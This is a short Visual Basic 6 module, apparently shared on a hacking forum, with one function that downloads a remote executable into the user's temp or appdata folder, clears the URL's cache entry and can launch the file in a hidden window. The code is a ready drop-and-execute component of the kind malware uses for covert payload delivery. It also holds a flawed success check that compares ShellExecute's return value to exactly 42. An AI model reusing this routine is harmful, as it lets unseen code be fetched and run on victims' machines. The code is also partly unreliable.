mDownload by pringles

[Tix]

'###################################################
'# Module   : mDownload
'# Author   : pringles
'# Released : 11/04/2010
'# Contact  : pringles1337@hotmail.de [MSN]
'# Usage    : Downloadfile("www.test.com/file.exe","temp","Localname.exe",True,false)
'###################################################

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function DeleteUrlCacheEntry Lib "wininet.dll" Alias "DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long


Public Function DownloadFile(sURL As String, sDir As String, sFilename As String, bRun As Boolean, bHidden As Boolean) As Boolean
If sDir <> "temp" And sDir <> "appdata" Then sDir = "appdata"

If URLDownloadToFile(0, sURL, Environ(sDir) & "\" & sFilename, 0, 0) = 0 Then
    DeleteUrlCacheEntry sURL
    If bRun = True Then
        If bHidden = True Then lShow = 0 Else: lShow = 1
            If ShellExecute(0, "open", Environ(sDir) & "\" & sFilename, 0, 0, lShow) = 42 Then
                DownloadFile = True
            Else
                DownloadFile = False
            End If
    Else
        DownloadFile = True
    End If
Else
    DownloadFile = False
End If

End Function